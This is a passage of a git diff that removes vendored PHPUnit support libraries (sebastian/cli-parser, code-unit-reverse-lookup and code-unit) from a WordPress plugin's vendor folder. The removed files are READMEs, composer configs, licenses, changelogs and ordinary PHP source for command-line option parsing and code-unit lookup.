from `phpunit/phpunit`. - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - -``` -composer require sebastian/cli-parser -``` - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - -``` -composer require --dev sebastian/cli-parser -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/composer.json deleted file mode 100644 index 34c376f9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/composer.json +++ /dev/null @@ -1,41 +0,0 @@ -{ - "name": "sebastian/cli-parser", - "description": "Library for parsing CLI options", - "type": "library", - "homepage": "https://github.com/sebastianbergmann/cli-parser", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "support": { - "issues": "https://github.com/sebastianbergmann/cli-parser/issues" - }, - "prefer-stable": true, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "1.0-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/infection.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/infection.json deleted file mode 100644 index 09546514..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/infection.json +++ /dev/null @@ -1,12 +0,0 @@ -{ - "source": { - "directories": [ - "src" - ] - }, - "mutators": { - "@default": true - }, - "minMsi": 100, - "minCoveredMsi": 100 -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/Parser.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/Parser.php deleted file mode 100644 index 67d8909f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/Parser.php +++ /dev/null @@ -1,204 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CliParser; - -use function array_map; -use function array_merge; -use function array_shift; -use function array_slice; -use function assert; -use function count; -use function current; -use function explode; -use function is_array; -use function is_int; -use function is_string; -use function key; -use function next; -use function preg_replace; -use function reset; -use function sort; -use function strlen; -use function strpos; -use function strstr; -use function substr; - -final class Parser -{ - /** - * @psalm-param list $argv - * @psalm-param list $longOptions - * - * @throws AmbiguousOptionException - * @throws RequiredOptionArgumentMissingException - * @throws OptionDoesNotAllowArgumentException - * @throws UnknownOptionException - */ - public function parse(array $argv, string $shortOptions, ?array $longOptions = null): array - { - if (empty($argv)) { - return [[], []]; - } - - $options = []; - $nonOptions = []; - - if ($longOptions) { - sort($longOptions); - } - - if (isset($argv[0][0]) && $argv[0][0] !== '-') { - array_shift($argv); - } - - reset($argv); - - $argv = array_map('trim', $argv); - - while (false !== $arg = current($argv)) { - $i = key($argv); - - assert(is_int($i)); - - next($argv); - - if ($arg === '') { - continue; - } - - if ($arg === '--') { - $nonOptions = array_merge($nonOptions, array_slice($argv, $i + 1)); - - break; - } - - if ($arg[0] !== '-' || (strlen($arg) > 1 && $arg[1] === '-' && !$longOptions)) { - $nonOptions[] = $arg; - - continue; - } - - if (strlen($arg) > 1 && $arg[1] === '-' && is_array($longOptions)) { - $this->parseLongOption( - substr($arg, 2), - $longOptions, - $options, - $argv - ); - } else { - $this->parseShortOption( - substr($arg, 1), - $shortOptions, - $options, - $argv - ); - } - } - - return [$options, $nonOptions]; - } - - /** - * @throws RequiredOptionArgumentMissingException - */ - private function parseShortOption(string $arg, string $shortOptions, array &$opts, array &$args): void - { - $argLength = strlen($arg); - - for ($i = 0; $i < $argLength; $i++) { - $option = $arg[$i]; - $optionArgument = null; - - if ($arg[$i] === ':' || ($spec = strstr($shortOptions, $option)) === false) { - throw new UnknownOptionException('-' . $option); - } - - assert(is_string($spec)); - - if (strlen($spec) > 1 && $spec[1] === ':') { - if ($i + 1 < $argLength) { - $opts[] = [$option, substr($arg, $i + 1)]; - - break; - } - - if (!(strlen($spec) > 2 && $spec[2] === ':')) { - $optionArgument = current($args); - - if (!$optionArgument) { - throw new RequiredOptionArgumentMissingException('-' . $option); - } - - assert(is_string($optionArgument)); - - next($args); - } - } - - $opts[] = [$option, $optionArgument]; - } - } - - /** - * @psalm-param list $longOptions - * - * @throws AmbiguousOptionException - * @throws RequiredOptionArgumentMissingException - * @throws OptionDoesNotAllowArgumentException - * @throws UnknownOptionException - */ - private function parseLongOption(string $arg, array $longOptions, array &$opts, array &$args): void - { - $count = count($longOptions); - $list = explode('=', $arg); - $option = $list[0]; - $optionArgument = null; - - if (count($list) > 1) { - $optionArgument = $list[1]; - } - - $optionLength = strlen($option); - - foreach ($longOptions as $i => $longOption) { - $opt_start = substr($longOption, 0, $optionLength); - - if ($opt_start !== $option) { - continue; - } - - $opt_rest = substr($longOption, $optionLength); - - if ($opt_rest !== '' && $i + 1 < $count && $option[0] !== '=' && strpos($longOptions[$i + 1], $option) === 0) { - throw new AmbiguousOptionException('--' . $option); - } - - if (substr($longOption, -1) === '=') { - /* @noinspection StrlenInEmptyStringCheckContextInspection */ - if (substr($longOption, -2) !== '==' && !strlen((string) $optionArgument)) { - if (false === $optionArgument = current($args)) { - throw new RequiredOptionArgumentMissingException('--' . $option); - } - - next($args); - } - } elseif ($optionArgument) { - throw new OptionDoesNotAllowArgumentException('--' . $option); - } - - $fullOption = '--' . preg_replace('/={1,2}$/', '', $longOption); - $opts[] = [$fullOption, $optionArgument]; - - return; - } - - throw new UnknownOptionException('--' . $option); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/AmbiguousOptionException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/AmbiguousOptionException.php deleted file mode 100644 index a99f6369..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/AmbiguousOptionException.php +++ /dev/null @@ -1,26 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CliParser; - -use function sprintf; -use RuntimeException; - -final class AmbiguousOptionException extends RuntimeException implements Exception -{ - public function __construct(string $option) - { - parent::__construct( - sprintf( - 'Option "%s" is ambiguous', - $option - ) - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/Exception.php deleted file mode 100644 index f35ad245..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/Exception.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CliParser; - -use Throwable; - -interface Exception extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/OptionDoesNotAllowArgumentException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/OptionDoesNotAllowArgumentException.php deleted file mode 100644 index 0aad29ac..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/OptionDoesNotAllowArgumentException.php +++ /dev/null @@ -1,26 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CliParser; - -use function sprintf; -use RuntimeException; - -final class OptionDoesNotAllowArgumentException extends RuntimeException implements Exception -{ - public function __construct(string $option) - { - parent::__construct( - sprintf( - 'Option "%s" does not allow an argument', - $option - ) - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/RequiredOptionArgumentMissingException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/RequiredOptionArgumentMissingException.php deleted file mode 100644 index d2a930b6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/RequiredOptionArgumentMissingException.php +++ /dev/null @@ -1,26 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CliParser; - -use function sprintf; -use RuntimeException; - -final class RequiredOptionArgumentMissingException extends RuntimeException implements Exception -{ - public function __construct(string $option) - { - parent::__construct( - sprintf( - 'Required argument for option "%s" is missing', - $option - ) - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/UnknownOptionException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/UnknownOptionException.php deleted file mode 100644 index e98d9fd0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/UnknownOptionException.php +++ /dev/null @@ -1,26 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CliParser; - -use function sprintf; -use RuntimeException; - -final class UnknownOptionException extends RuntimeException implements Exception -{ - public function __construct(string $option) - { - parent::__construct( - sprintf( - 'Unknown option "%s"', - $option - ) - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/ChangeLog.md deleted file mode 100644 index 43a5db90..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/ChangeLog.md +++ /dev/null @@ -1,38 +0,0 @@ -# Change Log - -All notable changes to `sebastianbergmann/code-unit-reverse-lookup` are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. - -## [2.0.3] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [2.0.2] - 2020-06-26 - -### Added - -* This component is now supported on PHP 8 - -## [2.0.1] - 2020-06-15 - -### Changed - -* Tests etc. are now ignored for archive exports - -## 2.0.0 - 2020-02-07 - -### Removed - -* This component is no longer supported on PHP 5.6, PHP 7.0, PHP 7.1, and PHP 7.2 - -## 1.0.0 - 2016-02-13 - -### Added - -* Initial release - -[2.0.3]: https://github.com/sebastianbergmann/code-unit-reverse-lookup/compare/2.0.2...2.0.3 -[2.0.2]: https://github.com/sebastianbergmann/code-unit-reverse-lookup/compare/2.0.1...2.0.2 -[2.0.1]: https://github.com/sebastianbergmann/code-unit-reverse-lookup/compare/2.0.0...2.0.1 -[2.0.0]: https://github.com/sebastianbergmann/code-unit-reverse-lookup/compare/1.0.0...2.0.0 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/LICENSE deleted file mode 100644 index dc4bf701..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -code-unit-reverse-lookup - -Copyright (c) 2016-2020, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/README.md deleted file mode 100644 index 1c0ca235..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/README.md +++ /dev/null @@ -1,20 +0,0 @@ -# sebastian/code-unit-reverse-lookup - -[![CI Status](https://github.com/sebastianbergmann/code-unit-reverse-lookup/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/code-unit-reverse-lookup/actions) -[![Type Coverage](https://shepherd.dev/github/sebastianbergmann/code-unit-reverse-lookup/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/code-unit-reverse-lookup) - -Looks up which function or method a line of code belongs to. - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - -``` -composer require sebastian/code-unit-reverse-lookup -``` - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - -``` -composer require --dev sebastian/code-unit-reverse-lookup -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/composer.json deleted file mode 100644 index cff96167..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/composer.json +++ /dev/null @@ -1,36 +0,0 @@ -{ - "name": "sebastian/code-unit-reverse-lookup", - "description": "Looks up which function or method a line of code belongs to", - "homepage": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - } - ], - "prefer-stable": true, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "2.0-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/src/Wizard.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/src/Wizard.php deleted file mode 100644 index 35de5398..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/src/Wizard.php +++ /dev/null @@ -1,125 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeUnitReverseLookup; - -use function array_merge; -use function assert; -use function get_declared_classes; -use function get_declared_traits; -use function get_defined_functions; -use function is_array; -use function range; -use ReflectionClass; -use ReflectionFunction; -use ReflectionFunctionAbstract; -use ReflectionMethod; - -/** - * @since Class available since Release 1.0.0 - */ -class Wizard -{ - /** - * @var array - */ - private $lookupTable = []; - - /** - * @var array - */ - private $processedClasses = []; - - /** - * @var array - */ - private $processedFunctions = []; - - /** - * @param string $filename - * @param int $lineNumber - * - * @return string - */ - public function lookup($filename, $lineNumber) - { - if (!isset($this->lookupTable[$filename][$lineNumber])) { - $this->updateLookupTable(); - } - - if (isset($this->lookupTable[$filename][$lineNumber])) { - return $this->lookupTable[$filename][$lineNumber]; - } - - return $filename . ':' . $lineNumber; - } - - private function updateLookupTable(): void - { - $this->processClassesAndTraits(); - $this->processFunctions(); - } - - private function processClassesAndTraits(): void - { - $classes = get_declared_classes(); - $traits = get_declared_traits(); - - assert(is_array($classes)); - assert(is_array($traits)); - - foreach (array_merge($classes, $traits) as $classOrTrait) { - if (isset($this->processedClasses[$classOrTrait])) { - continue; - } - - $reflector = new ReflectionClass($classOrTrait); - - foreach ($reflector->getMethods() as $method) { - $this->processFunctionOrMethod($method); - } - - $this->processedClasses[$classOrTrait] = true; - } - } - - private function processFunctions(): void - { - foreach (get_defined_functions()['user'] as $function) { - if (isset($this->processedFunctions[$function])) { - continue; - } - - $this->processFunctionOrMethod(new ReflectionFunction($function)); - - $this->processedFunctions[$function] = true; - } - } - - private function processFunctionOrMethod(ReflectionFunctionAbstract $functionOrMethod): void - { - if ($functionOrMethod->isInternal()) { - return; - } - - $name = $functionOrMethod->getName(); - - if ($functionOrMethod instanceof ReflectionMethod) { - $name = $functionOrMethod->getDeclaringClass()->getName() . '::' . $name; - } - - if (!isset($this->lookupTable[$functionOrMethod->getFileName()])) { - $this->lookupTable[$functionOrMethod->getFileName()] = []; - } - - foreach (range($functionOrMethod->getStartLine(), $functionOrMethod->getEndLine()) as $line) { - $this->lookupTable[$functionOrMethod->getFileName()][$line] = $name; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/.psalm/baseline.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/.psalm/baseline.xml deleted file mode 100644 index e4488919..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/.psalm/baseline.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - - $firstPart - $firstPart - $firstPart - $firstPart - $firstPart - $firstPart - $firstPart - $firstPart - $firstPart - $secondPart - $unit - $unit - $unit - $unit - $unit - $unit - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/.psalm/config.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/.psalm/config.xml deleted file mode 100644 index a39e9a4c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/.psalm/config.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/ChangeLog.md deleted file mode 100644 index 0978e651..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/ChangeLog.md +++ /dev/null @@ -1,65 +0,0 @@ -# ChangeLog - -All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. - -## [1.0.8] - 2020-10-26 - -### Fixed - -* `SebastianBergmann\CodeUnit\Exception` now correctly extends `\Throwable` - -## [1.0.7] - 2020-10-02 - -### Fixed - -* `SebastianBergmann\CodeUnit\Mapper::stringToCodeUnits()` no longer attempts to create `CodeUnit` objects for code units that are not declared in userland - -## [1.0.6] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [1.0.5] - 2020-06-26 - -### Fixed - -* [#3](https://github.com/sebastianbergmann/code-unit/issues/3): Regression in 1.0.4 - -## [1.0.4] - 2020-06-26 - -### Added - -* This component is now supported on PHP 8 - -## [1.0.3] - 2020-06-15 - -### Changed - -* Tests etc. are now ignored for archive exports - -## [1.0.2] - 2020-04-30 - -### Fixed - -* `Mapper::stringToCodeUnits()` raised the wrong exception for `Class::method` when a class named `Class` exists but does not have a method named `method` - -## [1.0.1] - 2020-04-27 - -### Fixed - -* [#2](https://github.com/sebastianbergmann/code-unit/issues/2): `Mapper::stringToCodeUnits()` breaks when `ClassName` is used for class that extends built-in class - -## [1.0.0] - 2020-03-30 - -* Initial release - -[1.0.8]: https://github.com/sebastianbergmann/code-unit/compare/1.0.7...1.0.8 -[1.0.7]: https://github.com/sebastianbergmann/code-unit/compare/1.0.6...1.0.7 -[1.0.6]: https://github.com/sebastianbergmann/code-unit/compare/1.0.5...1.0.6 -[1.0.5]: https://github.com/sebastianbergmann/code-unit/compare/1.0.4...1.0.5 -[1.0.4]: https://github.com/sebastianbergmann/code-unit/compare/1.0.3...1.0.4 -[1.0.3]: https://github.com/sebastianbergmann/code-unit/compare/1.0.2...1.0.3 -[1.0.2]: https://github.com/sebastianbergmann/code-unit/compare/1.0.1...1.0.2 -[1.0.1]: https://github.com/sebastianbergmann/code-unit/compare/1.0.0...1.0.1 -[1.0.0]: https://github.com/sebastianbergmann/code-unit/compare/530c3900e5db9bcb8516da545bef0d62536cedaa...1.0.0 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/LICENSE deleted file mode 100644 index b99bc8ac..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -sebastian/code-unit - -Copyright (c) 2020, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/README.md deleted file mode 100644 index d20227a9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/README.md +++ /dev/null @@ -1,17 +0,0 @@ -# sebastian/code-unit - -Collection of value objects that represent the PHP code units. - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - -``` -composer require sebastian/code-unit -``` - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - -``` -composer require --dev sebastian/code-unit -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/composer.json deleted file mode 100644 index 5b86ec58..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/composer.json +++ /dev/null @@ -1,50 +0,0 @@ -{ - "name": "sebastian/code-unit", - "description": "Collection of value objects that represent the PHP code units", - "type": "library", - "homepage": "https://github.com/sebastianbergmann/code-unit", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "support": { - "issues": "https://github.com/sebastianbergmann/code-unit/issues" - }, - "prefer-stable": true, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "autoload-dev": { - "classmap": [ - "tests/_fixture" - ], - "files": [ - "tests/_fixture/file_with_multiple_code_units.php", - "tests/_fixture/function.php" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "1.0-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/ClassMethodUnit.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/ClassMethodUnit.php deleted file mode 100644 index f9ddac29..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/ClassMethodUnit.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeUnit; - -/** - * @psalm-immutable - */ -final class ClassMethodUnit extends CodeUnit -{ - /** - * @psalm-assert-if-true ClassMethodUnit $this - */ - public function isClassMethod(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/ClassUnit.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/ClassUnit.php deleted file mode 100644 index 3ba0ee66..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/ClassUnit.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeUnit; - -/** - * @psalm-immutable - */ -final class ClassUnit extends CodeUnit -{ - /** - * @psalm-assert-if-true ClassUnit $this - */ - public function isClass(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/CodeUnit.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/CodeUnit.php deleted file mode 100644 index 9e5cceb3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/CodeUnit.php +++ /dev/null @@ -1,445 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\CodeUnit; - -use function range; -use function sprintf; -use ReflectionClass; -use ReflectionFunction; -use ReflectionMethod; - -/** - * @psalm-immutable - */ -abstract class CodeUnit -{ - /** - * @var string - */ - private $name; - - /** - * @var string - */ - private $sourceFileName; - - /** - * @var array - * @psalm-var list - */ - private $sourceLines; - - /** - * @psalm-param class-string $className - * - * @throws InvalidCodeUnitException - * @throws ReflectionException - */ - public static function forClass(string $className): ClassUnit - { - self::ensureUserDefinedClass($className); - - $reflector = self::reflectorForClass($className); - - return new ClassUnit( - $className, - $reflector->getFileName(), - range( - $reflector->getStartLine(), - $reflector->getEndLine() - ) - ); - } - - /** - * @psalm-param class-string $className - * - * @throws InvalidCodeUnitException - * @throws ReflectionException - */ - public static function forClassMethod(string $className, string $methodName): ClassMethodUnit - { - self::ensureUserDefinedClass($className); - - $reflector = self::reflectorForClassMethod($className, $methodName); - - return new ClassMethodUnit( - $className . '::' . $methodName, - $reflector->getFileName(), - range( - $reflector->getStartLine(), - $reflector->getEndLine() - ) - ); - } - - /** - * @psalm-param class-string $interfaceName - * - * @throws InvalidCodeUnitException - * @throws ReflectionException - */ - public static function forInterface(string $interfaceName): InterfaceUnit - { - self::ensureUserDefinedInterface($interfaceName); - - $reflector = self::reflectorForClass($interfaceName); - - return new InterfaceUnit( - $interfaceName, - $reflector->getFileName(), - range( - $reflector->getStartLine(), - $reflector->getEndLine() - ) - ); - } - - /** - * @psalm-param class-string $interfaceName - * - * @throws InvalidCodeUnitException - * @throws ReflectionException - */ - public static function forInterfaceMethod(string $interfaceName, string $methodName): InterfaceMethodUnit - { - self::ensureUserDefinedInterface($interfaceName); - - $reflector = self::reflectorForClassMethod($interfaceName, $methodName); - - return new InterfaceMethodUnit( - $interfaceName . '::' . $methodName, - $reflector->getFileName(), - range( - $reflector->getStartLine(), - $reflector->getEndLine() - ) - ); - } - - /** - * @psalm-param class-string $traitName - * - * @throws InvalidCodeUnitException - 